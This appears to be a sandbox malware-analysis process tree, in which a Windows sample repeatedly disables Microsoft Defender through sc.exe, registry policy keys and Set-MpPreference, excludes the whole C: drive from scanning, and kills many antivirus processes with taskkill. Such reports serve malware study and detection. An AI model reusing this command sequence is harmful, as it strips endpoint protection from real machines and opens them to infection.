C:\Windows\SYSTEM32\sc.exesc stop WinDefend40⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled40⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"40⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"40⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f39⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"39⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f39⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend39⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled39⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"39⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"39⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""39⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f38⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"38⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f38⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend38⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled38⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"38⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"38⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f37⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f37⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"37⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend37⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled37⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"37⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"37⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""37⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f36⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"36⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f36⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend36⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled36⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"36⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"36⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""36⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f35⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"35⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f35⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend35⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled35⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"35⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"35⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""35⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f34⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"34⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f34⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend34⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled34⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"34⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"34⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""34⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe34⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f33⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"33⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f33⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend33⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled33⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"33⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"33⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f32⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"32⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f32⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend32⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled32⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"32⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"32⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""32⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f31⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"31⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f31⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend31⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled31⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"31⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"31⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""31⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe31⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe31⤵
- Kills process with taskkill
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f30⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"30⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f30⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend30⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled30⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"30⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"30⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""30⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe30⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe30⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe30⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe30⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe30⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f29⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"29⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f29⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend29⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled29⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"29⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"29⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""29⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe29⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe29⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe29⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe29⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f28⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"28⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f28⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend28⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled28⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"28⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"28⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""28⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe28⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe28⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe28⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f27⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"27⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f27⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend27⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled27⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"27⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"27⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""27⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe27⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe27⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe27⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe27⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe27⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f26⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f26⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend26⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled26⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"26⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"26⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""26⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f25⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f25⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend25⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled25⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"25⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"25⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""25⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe25⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe25⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe25⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe25⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe25⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe25⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f24⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f24⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend24⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled24⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"24⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"24⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""24⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe24⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe24⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe24⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe24⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe24⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe24⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe24⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe24⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe24⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe24⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe24⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f23⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"23⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f23⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend23⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled23⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"23⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"23⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""23⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe23⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe23⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe23⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe23⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe23⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe23⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe23⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe23⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f22⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"22⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f22⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend22⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled22⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"22⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"22⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""22⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe22⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe22⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe22⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe22⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe22⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe22⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe22⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe22⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe22⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f21⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"21⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f21⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend21⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled21⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"21⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"21⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""21⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe21⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe21⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe21⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe21⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe21⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe21⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe21⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe21⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe21⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe21⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f20⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"20⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f20⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend20⤵
- Launches sc.exe
-
-
